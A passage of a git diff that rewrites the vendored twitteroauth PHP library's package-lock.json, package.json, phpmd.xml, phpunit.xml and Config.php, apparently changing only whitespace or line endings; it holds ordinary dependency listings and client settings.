"sha512-i/6DQjL8Xf3be4K/E6Wgpekn5Qasl1usyw++dAA35Ue5orEn65VIxOA+YvNNl9HV3qv70T7CNwjODHZrLwvd1Q==", - "dev": true - }, - "validate-npm-package-license": { - "version": "3.0.4", - "resolved": "https://registry.npmjs.org/validate-npm-package-license/-/validate-npm-package-license-3.0.4.tgz", - "integrity": "sha512-DpKm2Ui/xN7/HQKCtpZxoRWBhZ9Z0kqtygG8XCgNQ8ZlDnxuQmWhj566j8fN4Cu3/JmbhsDo7fcAJq4s9h27Ew==", - "dev": true, - "requires": { - "spdx-correct": "^3.0.0", - "spdx-expression-parse": "^3.0.0" - } - }, - "which-module": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/which-module/-/which-module-2.0.0.tgz", - "integrity": "sha1-2e8H3Od7mQK4o6j6SzHD4/fm6Ho=", - "dev": true - }, - "wrap-ansi": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-5.1.0.tgz", - "integrity": "sha512-QC1/iN/2/RPVJ5jYK8BGttj5z83LmSKmvbvrXPNCLZSEb32KKVDJDl/MOt2N01qU2H/FkzEa9PKto1BqDjtd7Q==", - "dev": true, - "requires": { - "ansi-styles": "^3.2.0", - "string-width": "^3.0.0", - "strip-ansi": "^5.0.0" - } - }, - "y18n": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/y18n/-/y18n-4.0.0.tgz", - "integrity": "sha512-r9S/ZyXu/Xu9q1tYlpsLIsa3EeLXXk0VwlxqTcFRfg9EhMW+17kbt9G0NrgCmhGb5vT2hyhJZLfDGx+7+5Uj/w==", - "dev": true - }, - "yargs": { - "version": "13.3.2", - "resolved": "https://registry.npmjs.org/yargs/-/yargs-13.3.2.tgz", - "integrity": "sha512-AX3Zw5iPruN5ie6xGRIDgqkT+ZhnRlZMLMHAs8tg7nRruy2Nb+i5o9bwghAogtM08q1dpr2LVoS8KSTMYpWXUw==", - "dev": true, - "requires": { - "cliui": "^5.0.0", - "find-up": "^3.0.0", - "get-caller-file": "^2.0.1", - "require-directory": "^2.1.1", - "require-main-filename": "^2.0.0", - "set-blocking": "^2.0.0", - "string-width": "^3.0.0", - "which-module": "^2.0.0", - "y18n": "^4.0.0", - "yargs-parser": "^13.1.2" - } - }, - "yargs-parser": { - "version": "13.1.2", - "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-13.1.2.tgz", - "integrity": "sha512-3lbsNRf/j+A4QuSZfDRA7HRSfWrzO0YjqTJd5kjAq37Zep1CEgaYmrH9Q3GwPiB9cHyd1Y1UwggGhJGoxipbzg==", - "dev": true, - "requires": { - "camelcase": "^5.0.0", - "decamelize": "^1.2.0" - } - } - } -} +{ + "name": "twitteroauth", + "version": "0.0.0", + "lockfileVersion": 1, + "requires": true, + "dependencies": { + "@prettier/plugin-php": { + "version": "0.14.3", + "resolved": "https://registry.npmjs.org/@prettier/plugin-php/-/plugin-php-0.14.3.tgz", + "integrity": "sha512-n+r5e4p8QhF497NUyOx7AqyQjNqCNbwhd+W8wTc07dO9ME42npIwZ1N8Hyc3kZ4KeLxE+nAuU5e21VMcbJyOMQ==", + "dev": true, + "requires": { + "linguist-languages": "^7.5.1", + "mem": "^6.0.1", + "php-parser": "github:glayzzle/php-parser#5a0e2e1bf12517bd1c544c0f4e68482d0362a7b5" + } + }, + "ansi-regex": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.0.tgz", + "integrity": "sha512-1apePfXM1UOSqw0o9IiFAovVz9M5S1Dg+4TrDwfMewQ6p/rmMueb7tWZjQ1rx4Loy1ArBggoqGpfqqdI4rondg==", + "dev": true + }, + "ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "requires": { + "color-convert": "^1.9.0" + } + }, + "camelcase": { + "version": "5.3.1", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz", + "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==", + "dev": true + }, + "chalk": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", + "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", + "dev": true, + "requires": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + }, + "dependencies": { + "supports-color": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", + "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", + "dev": true, + "requires": { + "has-flag": "^3.0.0" + } + } + } + }, + "cliui": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-5.0.0.tgz", + "integrity": "sha512-PYeGSEmmHM6zvoef2w8TPzlrnNpXIjTipYK780YswmIP9vjxmd6Y2a3CB2Ks6/AU8NHjZugXvo8w3oWM2qnwXA==", + "dev": true, + "requires": { + "string-width": "^3.1.0", + "strip-ansi": "^5.2.0", + "wrap-ansi": "^5.1.0" + } + }, + "color-convert": { + "version": "1.9.3", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", + "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", + "dev": true, + "requires": { + "color-name": "1.1.3" + } + }, + "color-name": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz", + "integrity": "sha1-p9BVi9icQveV3UIyj3QIMcpTvCU=", + "dev": true + }, + "concurrently": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/concurrently/-/concurrently-5.3.0.tgz", + "integrity": "sha512-8MhqOB6PWlBfA2vJ8a0bSFKATOdWlHiQlk11IfmQBPaHVP8oP2gsh2MObE6UR3hqDHqvaIvLTyceNW6obVuFHQ==", + "dev": true, + "requires": { + "chalk": "^2.4.2", + "date-fns": "^2.0.1", + "lodash": "^4.17.15", + "read-pkg": "^4.0.1", + "rxjs": "^6.5.2", + "spawn-command": "^0.0.2-1", + "supports-color": "^6.1.0", + "tree-kill": "^1.2.2", + "yargs": "^13.3.0" + } + }, + "date-fns": { + "version": "2.15.0", + "resolved": "https://registry.npmjs.org/date-fns/-/date-fns-2.15.0.tgz", + "integrity": "sha512-ZCPzAMJZn3rNUvvQIMlXhDr4A+Ar07eLeGsGREoWU19a3Pqf5oYa+ccd+B3F6XVtQY6HANMFdOQ8A+ipFnvJdQ==", + "dev": true + }, + "decamelize": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/decamelize/-/decamelize-1.2.0.tgz", + "integrity": "sha1-9lNNFRSCabIDUue+4m9QH5oZEpA=", + "dev": true + }, + "emoji-regex": { + "version": "7.0.3", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-7.0.3.tgz", + "integrity": "sha512-CwBLREIQ7LvYFB0WyRvwhq5N5qPhc6PMjD6bYggFlI5YyDgl+0vxq5VHbMOFqLg7hfWzmu8T5Z1QofhmTIhItA==", + "dev": true + }, + "error-ex": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/error-ex/-/error-ex-1.3.2.tgz", + "integrity": "sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==", + "dev": true, + "requires": { + "is-arrayish": "^0.2.1" + } + }, + "escape-string-regexp": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", + "integrity": "sha1-G2HAViGQqN/2rjuyzwIAyhMLhtQ=", + "dev": true + }, + "find-up": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz", + "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==", + "dev": true, + "requires": { + "locate-path": "^3.0.0" + } + }, + "get-caller-file": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz", + "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", + "dev": true + }, + "has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", + "dev": true + }, + "hosted-git-info": { + "version": "2.8.8", + "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-2.8.8.tgz", + "integrity": "sha512-f/wzC2QaWBs7t9IYqB4T3sR1xviIViXJRJTWBlx2Gf3g0Xi5vI7Yy4koXQ1c9OYDGHN9sBy1DQ2AB8fqZBWhUg==", + "dev": true + }, + "is-arrayish": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz", + "integrity": "sha1-d8mYQFJ6qOyxqLppe4BkWnqSap0=", + "dev": true + }, + "is-fullwidth-code-point": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", + "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=", + "dev": true + }, + "json-parse-better-errors": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/json-parse-better-errors/-/json-parse-better-errors-1.0.2.tgz", + "integrity": "sha512-mrqyZKfX5EhL7hvqcV6WG1yYjnjeuYDzDhhcAAUrq8Po85NBQBJP+ZDUT75qZQ98IkUoBqdkExkukOU7Ts2wrw==", + "dev": true + }, + "linguist-languages": { + "version": "7.10.0", + "resolved": "https://registry.npmjs.org/linguist-languages/-/linguist-languages-7.10.0.tgz", + "integrity": "sha512-Uqt94P4iAznscZtccnNE1IBi105U+fmQKEUlDJv54JDdFZDInomkepEIRpZLOQcPyGdcNu3JO9Tvo5wpQVbfKw==", + "dev": true + }, + "locate-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-3.0.0.tgz", + "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==", + "dev": true, + "requires": { + "p-locate": "^3.0.0", + "path-exists": "^3.0.0" + } + }, + "lodash": { + "version": "4.17.19", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.19.tgz", + "integrity": "sha512-JNvd8XER9GQX0v2qJgsaN/mzFCNA5BRe/j8JN9d+tWyGLSodKQHKFicdwNYzWwI3wjRnaKPsGj1XkBjx/F96DQ==", + "dev": true + }, + "map-age-cleaner": { + "version": "0.1.3", + "resolved": "https://registry.npmjs.org/map-age-cleaner/-/map-age-cleaner-0.1.3.tgz", + "integrity": "sha512-bJzx6nMoP6PDLPBFmg7+xRKeFZvFboMrGlxmNj9ClvX53KrmvM5bXFXEWjbz4cz1AFn+jWJ9z/DJSz7hrs0w3w==", + "dev": true, + "requires": { + "p-defer": "^1.0.0" + } + }, + "mem": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/mem/-/mem-6.1.0.tgz", + "integrity": "sha512-RlbnLQgRHk5lwqTtpEkBTQ2ll/CG/iB+J4Hy2Wh97PjgZgXgWJWrFF+XXujh3UUVLvR4OOTgZzcWMMwnehlEUg==", + "dev": true, + "requires": { + "map-age-cleaner": "^0.1.3", + "mimic-fn": "^3.0.0" + } + }, + "mimic-fn": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-3.1.0.tgz", + "integrity": "sha512-Ysbi9uYW9hFyfrThdDEQuykN4Ey6BuwPD2kpI5ES/nFTDn/98yxYNLZJcgUAKPT/mcrLLKaGzJR9YVxJrIdASQ==", + "dev": true + }, + "normalize-package-data": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-2.5.0.tgz", + "integrity": "sha512-/5CMN3T0R4XTj4DcGaexo+roZSdSFW/0AOOTROrjxzCG1wrWXEsGbRKevjlIL+ZDE4sZlJr5ED4YW0yqmkK+eA==", + "dev": true, + "requires": { + "hosted-git-info": "^2.1.4", + "resolve": "^1.10.0", + "semver": "2 || 3 || 4 || 5", + "validate-npm-package-license": "^3.0.1" + } + }, + "p-defer": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/p-defer/-/p-defer-1.0.0.tgz", + "integrity": "sha1-n26xgvbJqozXQwBKfU+WsZaw+ww=", + "dev": true + }, + "p-limit": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", + "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", + "dev": true, + "requires": { + "p-try": "^2.0.0" + } + }, + "p-locate": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-3.0.0.tgz", + "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==", + "dev": true, + "requires": { + "p-limit": "^2.0.0" + } + }, + "p-try": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz", + "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==", + "dev": true + }, + "parse-json": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-4.0.0.tgz", + "integrity": "sha1-vjX1Qlvh9/bHRxhPmKeIy5lHfuA=", + "dev": true, + "requires": { + "error-ex": "^1.3.1", + "json-parse-better-errors": "^1.0.1" + } + }, + "path-exists": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz", + "integrity": "sha1-zg6+ql94yxiSXqfYENe1mwEP1RU=", + "dev": true + }, + "path-parse": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.6.tgz", + "integrity": "sha512-GSmOT2EbHrINBf9SR7CDELwlJ8AENk3Qn7OikK4nFYAu3Ote2+JYNVvkpAEQm3/TLNEJFD/xZJjzyxg3KBWOzw==", + "dev": true + }, + "php-parser": { + "version": "github:glayzzle/php-parser#5a0e2e1bf12517bd1c544c0f4e68482d0362a7b5", + "from": "github:glayzzle/php-parser#5a0e2e1bf12517bd1c544c0f4e68482d0362a7b5", + "dev": true + }, + "pify": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pify/-/pify-3.0.0.tgz", + "integrity": "sha1-5aSs0sEB/fPZpNB/DbxNtJ3SgXY=", + "dev": true + }, + "prettier": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/prettier/-/prettier-2.1.2.tgz", + "integrity": "sha512-16c7K+x4qVlJg9rEbXl7HEGmQyZlG4R9AgP+oHKRMsMsuk8s+ATStlf1NpDqyBI1HpVyfjLOeMhH2LvuNvV5Vg==", + "dev": true + }, + "read-pkg": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/read-pkg/-/read-pkg-4.0.1.tgz", + "integrity": "sha1-ljYlN48+HE1IyFhytabsfV0JMjc=", + "dev": true, + "requires": { + "normalize-package-data": "^2.3.2", + "parse-json": "^4.0.0", + "pify": "^3.0.0" + } + }, + "require-directory": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz", + "integrity": "sha1-jGStX9MNqxyXbiNE/+f3kqam30I=", + "dev": true + }, + "require-main-filename": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/require-main-filename/-/require-main-filename-2.0.0.tgz", + "integrity": "sha512-NKN5kMDylKuldxYLSUfrbo5Tuzh4hd+2E8NPPX02mZtn1VuREQToYe/ZdlJy+J3uCpfaiGF05e7B8W0iXbQHmg==", + "dev": true + }, + "resolve": { + "version": "1.17.0", + "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.17.0.tgz", + "integrity": "sha512-ic+7JYiV8Vi2yzQGFWOkiZD5Z9z7O2Zhm9XMaTxdJExKasieFCr+yXZ/WmXsckHiKl12ar0y6XiXDx3m4RHn1w==", + "dev": true, + "requires": { + "path-parse": "^1.0.6" + } + }, + "rxjs": { + "version": "6.6.2", + "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-6.6.2.tgz", + "integrity": "sha512-BHdBMVoWC2sL26w//BCu3YzKT4s2jip/WhwsGEDmeKYBhKDZeYezVUnHatYB7L85v5xs0BAQmg6BEYJEKxBabg==", + "dev": true, + "requires": { + "tslib": "^1.9.0" + } + }, + "semver": { + "version": "5.7.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz", + "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==", + "dev": true + }, + "set-blocking": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/set-blocking/-/set-blocking-2.0.0.tgz", + "integrity": "sha1-BF+XgtARrppoA93TgrJDkrPYkPc=", + "dev": true + }, + "spawn-command": { + "version": "0.0.2-1", + "resolved": "https://registry.npmjs.org/spawn-command/-/spawn-command-0.0.2-1.tgz", + "integrity": "sha1-YvXpRmmBwbeW3Fkpk34RycaSG9A=", + "dev": true + }, + "spdx-correct": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/spdx-correct/-/spdx-correct-3.1.1.tgz", + "integrity": "sha512-cOYcUWwhCuHCXi49RhFRCyJEK3iPj1Ziz9DpViV3tbZOwXD49QzIN3MpOLJNxh2qwq2lJJZaKMVw9qNi4jTC0w==", + "dev": true, + "requires": { + "spdx-expression-parse": "^3.0.0", + "spdx-license-ids": "^3.0.0" + } + }, + "spdx-exceptions": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/spdx-exceptions/-/spdx-exceptions-2.3.0.tgz", + "integrity": "sha512-/tTrYOC7PPI1nUAgx34hUpqXuyJG+DTHJTnIULG4rDygi4xu/tfgmq1e1cIRwRzwZgo4NLySi+ricLkZkw4i5A==", + "dev": true + }, + "spdx-expression-parse": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/spdx-expression-parse/-/spdx-expression-parse-3.0.1.tgz", + "integrity": "sha512-cbqHunsQWnJNE6KhVSMsMeH5H/L9EpymbzqTQ3uLwNCLZ1Q481oWaofqH7nO6V07xlXwY6PhQdQ2IedWx/ZK4Q==", + "dev": true, + "requires": { + "spdx-exceptions": "^2.1.0", + "spdx-license-ids": "^3.0.0" + } + }, + "spdx-license-ids": { + "version": "3.0.5", + "resolved": "https://registry.npmjs.org/spdx-license-ids/-/spdx-license-ids-3.0.5.tgz", + "integrity": "sha512-J+FWzZoynJEXGphVIS+XEh3kFSjZX/1i9gFBaWQcB+/tmpe2qUsSBABpcxqxnAxFdiUFEgAX1bjYGQvIZmoz9Q==", + "dev": true + }, + "string-width": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-3.1.0.tgz", + "integrity": "sha512-vafcv6KjVZKSgz06oM/H6GDBrAtz8vdhQakGjFIvNrHA6y3HCF1CInLy+QLq8dTJPQ1b+KDUqDFctkdRW44e1w==", + "dev": true, + "requires": { + "emoji-regex": "^7.0.1", + "is-fullwidth-code-point": "^2.0.0", + "strip-ansi": "^5.1.0" + } + }, + "strip-ansi": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz", + "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==", + "dev": true, + "requires": { + "ansi-regex": "^4.1.0" + } + }, + "supports-color": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-6.1.0.tgz", + "integrity": "sha512-qe1jfm1Mg7Nq/NSh6XE24gPXROEVsWHxC1LIx//XNlD9iw7YZQGjZNjYN7xGaEG6iKdA8EtNFW6R0gjnVXp+wQ==", + "dev": true, + "requires": { + "has-flag": "^3.0.0" + } + }, + "tree-kill": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/tree-kill/-/tree-kill-1.2.2.tgz", + "integrity": "sha512-L0Orpi8qGpRG//Nd+H90vFB+3iHnue1zSSGmNOOCh1GLJ7rUKVwV2HvijphGQS2UmhUZewS9VgvxYIdgr+fG1A==", + "dev": true + }, + "tslib": { + "version": "1.13.0", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.13.0.tgz", + "integrity": "sha512-i/6DQjL8Xf3be4K/E6Wgpekn5Qasl1usyw++dAA35Ue5orEn65VIxOA+YvNNl9HV3qv70T7CNwjODHZrLwvd1Q==", + "dev": true + }, + "validate-npm-package-license": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/validate-npm-package-license/-/validate-npm-package-license-3.0.4.tgz", + "integrity": "sha512-DpKm2Ui/xN7/HQKCtpZxoRWBhZ9Z0kqtygG8XCgNQ8ZlDnxuQmWhj566j8fN4Cu3/JmbhsDo7fcAJq4s9h27Ew==", + "dev": true, + "requires": { + "spdx-correct": "^3.0.0", + "spdx-expression-parse": "^3.0.0" + } + }, + "which-module": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/which-module/-/which-module-2.0.0.tgz", + "integrity": "sha1-2e8H3Od7mQK4o6j6SzHD4/fm6Ho=", + "dev": true + }, + "wrap-ansi": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-5.1.0.tgz", + "integrity": "sha512-QC1/iN/2/RPVJ5jYK8BGttj5z83LmSKmvbvrXPNCLZSEb32KKVDJDl/MOt2N01qU2H/FkzEa9PKto1BqDjtd7Q==", + "dev": true, + "requires": { + "ansi-styles": "^3.2.0", + "string-width": "^3.0.0", + "strip-ansi": "^5.0.0" + } + }, + "y18n": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/y18n/-/y18n-4.0.0.tgz", + "integrity": "sha512-r9S/ZyXu/Xu9q1tYlpsLIsa3EeLXXk0VwlxqTcFRfg9EhMW+17kbt9G0NrgCmhGb5vT2hyhJZLfDGx+7+5Uj/w==", + "dev": true + }, + "yargs": { + "version": "13.3.2", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-13.3.2.tgz", + "integrity": "sha512-AX3Zw5iPruN5ie6xGRIDgqkT+ZhnRlZMLMHAs8tg7nRruy2Nb+i5o9bwghAogtM08q1dpr2LVoS8KSTMYpWXUw==", + "dev": true, + "requires": { + "cliui": "^5.0.0", + "find-up": "^3.0.0", + "get-caller-file": "^2.0.1", + "require-directory": "^2.1.1", + "require-main-filename": "^2.0.0", + "set-blocking": "^2.0.0", + "string-width": "^3.0.0", + "which-module": "^2.0.0", + "y18n": "^4.0.0", + "yargs-parser": "^13.1.2" + } + }, + "yargs-parser": { + "version": "13.1.2", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-13.1.2.tgz", + "integrity": "sha512-3lbsNRf/j+A4QuSZfDRA7HRSfWrzO0YjqTJd5kjAq37Zep1CEgaYmrH9Q3GwPiB9cHyd1Y1UwggGhJGoxipbzg==", + "dev": true, + "requires": { + "camelcase": "^5.0.0", + "decamelize": "^1.2.0" + } + } + } +} diff --git a/vendor/abraham/twitteroauth/package.json b/vendor/abraham/twitteroauth/package.json index 9da33536ff..a2bec7c63a 100644 --- a/vendor/abraham/twitteroauth/package.json +++ b/vendor/abraham/twitteroauth/package.json @@ -1,43 +1,43 @@ -{ - "name": "twitteroauth", - "version": "0.0.0", - "description": "The most popular PHP library for use with the Twitter OAuth REST API.", - "directories": { - "test": "tests" - }, - "dependencies": {}, - "devDependencies": { - "@prettier/plugin-php": "^0.14.3", - "concurrently": "^5.3.0", - "prettier": "^2.1.2" - }, - "scripts": { - "fix:phpcbf": "./vendor/bin/phpcbf src tests --standard=PSR12", - "fix:prettier": "prettier . --write", - "fix": "concurrently npm:fix:*", - "lint:phpcs": "./vendor/bin/phpcs src tests --standard=PSR12", - "lint:prettier": "prettier . --check", - "lint": "concurrently npm:lint:*", - "postinstall": "composer install --no-interaction", - "test": "./vendor/bin/phpunit" - }, - "repository": { - "type": "git", - "url": "git+https://github.com/abraham/twitteroauth.git" - }, - "keywords": [ - "twitter", - "api", - "oauth", - "rest", - "social", - "twitter-api", - "twitter-oauth" - ], - "author": "Abraham Williams ", - "license": "MIT", - "bugs": { - "url": "https://github.com/abraham/twitteroauth/issues" - }, - "homepage": "https://github.com/abraham/twitteroauth#readme" -} +{ + "name": "twitteroauth", + "version": "0.0.0", + "description": "The most popular PHP library for use with the Twitter OAuth REST API.", + "directories": { + "test": "tests" + }, + "dependencies": {}, + "devDependencies": { + "@prettier/plugin-php": "^0.14.3", + "concurrently": "^5.3.0", + "prettier": "^2.1.2" + }, + "scripts": { + "fix:phpcbf": "./vendor/bin/phpcbf src tests --standard=PSR12", + "fix:prettier": "prettier . --write", + "fix": "concurrently npm:fix:*", + "lint:phpcs": "./vendor/bin/phpcs src tests --standard=PSR12", + "lint:prettier": "prettier . --check", + "lint": "concurrently npm:lint:*", + "postinstall": "composer install --no-interaction", + "test": "./vendor/bin/phpunit" + }, + "repository": { + "type": "git", + "url": "git+https://github.com/abraham/twitteroauth.git" + }, + "keywords": [ + "twitter", + "api", + "oauth", + "rest", + "social", + "twitter-api", + "twitter-oauth" + ], + "author": "Abraham Williams ", + "license": "MIT", + "bugs": { + "url": "https://github.com/abraham/twitteroauth/issues" + }, + "homepage": "https://github.com/abraham/twitteroauth#readme" +} diff --git a/vendor/abraham/twitteroauth/phpmd.xml b/vendor/abraham/twitteroauth/phpmd.xml index 8cb6f1db35..ef45e75aa4 100644 --- a/vendor/abraham/twitteroauth/phpmd.xml +++ b/vendor/abraham/twitteroauth/phpmd.xml @@ -1,15 +1,15 @@ - - - Keep TwitterOAuth source code clean. - - - - - - - - + + + Keep TwitterOAuth source code clean. + + + + + + + + diff --git a/vendor/abraham/twitteroauth/phpunit.xml b/vendor/abraham/twitteroauth/phpunit.xml index b62ab1cdf9..d882f5bde9 100644 --- a/vendor/abraham/twitteroauth/phpunit.xml +++ b/vendor/abraham/twitteroauth/phpunit.xml @@ -1,18 +1,18 @@ - - - - - - ./tests/ - - - - - - - + + + + + + ./tests/ + + + + + + + diff --git a/vendor/abraham/twitteroauth/src/Config.php b/vendor/abraham/twitteroauth/src/Config.php index bc7aa2f585..ab7ee2e4a2 100644 --- a/vendor/abraham/twitteroauth/src/Config.php +++ b/vendor/abraham/twitteroauth/src/Config.php @@ -1,109 +1,109 @@ - - */ -class Config -{ - /** @var int How long to wait for a response from the API */ - protected $timeout = 5; - /** @var int how long to wait while connecting to the API */ - protected $connectionTimeout = 5; - /** @var int How many times we retry request when API is down */ - protected $maxRetries = 0; - /** @var int Delay in seconds before we retry the request */ - protected $retriesDelay = 1; - - /** - * Decode JSON Response as associative Array - * - * @see http://php.net/manual/en/function.json-decode.php - * - * @var bool - */ - protected $decodeJsonAsArray = false; - /** @var string User-Agent header */ - protected $userAgent = 'TwitterOAuth (+https://twitteroauth.com)'; - /** @var array Store proxy connection details */ - protected $proxy = []; - - /** @var bool Whether to encode the curl requests with gzip or not */ - protected $gzipEncoding = true; - - /** @var integer Size for Chunked Uploads */ - protected $chunkSize = 250000; // 0.25 MegaByte - - /** - * Set the connection and response timeouts. - * - * @param int $connectionTimeout - * @param int $timeout - */ - public function setTimeouts(int $connectionTimeout, int $timeout): void - { - $this->connectionTimeout = $connectionTimeout; - $this->timeout = $timeout; - } - - /** - * Set the number of times to retry on error and how long between each. - * - * @param int $maxRetries - * @param int $retriesDelay - */ - public function setRetries(int $maxRetries, int $retriesDelay): void - { - $this->maxRetries = $maxRetries; - $this->retriesDelay = $retriesDelay; - } - - /** - * @param bool $value - */ - public function setDecodeJsonAsArray(bool $value): void - { - $this->decodeJsonAsArray = $value; - } - - /** - * @param string $userAgent - */ - public function setUserAgent(string $userAgent): void - { - $this->userAgent = $userAgent; - } - - /** - * @param array $proxy - */ - public function setProxy(array $proxy): void - { - $this->proxy = $proxy; - } - - /** - * Whether to encode the curl requests with gzip or not. - * - * @param boolean $gzipEncoding - */ - public function setGzipEncoding(bool $gzipEncoding): void - { - $this->gzipEncoding = $gzipEncoding; - } - - /** - * Set the size of each part of file for chunked media upload. - * - * @param int $value - */ - public function setChunkSize(int $value): void - { - $this->chunkSize = $value; - } -} + + */ +class Config +{ + /** @var int How long to wait for a response from the API */ + protected $timeout = 5; + /** @var int how long to wait while connecting to the API */ + protected $connectionTimeout = 5; + /** @var int How 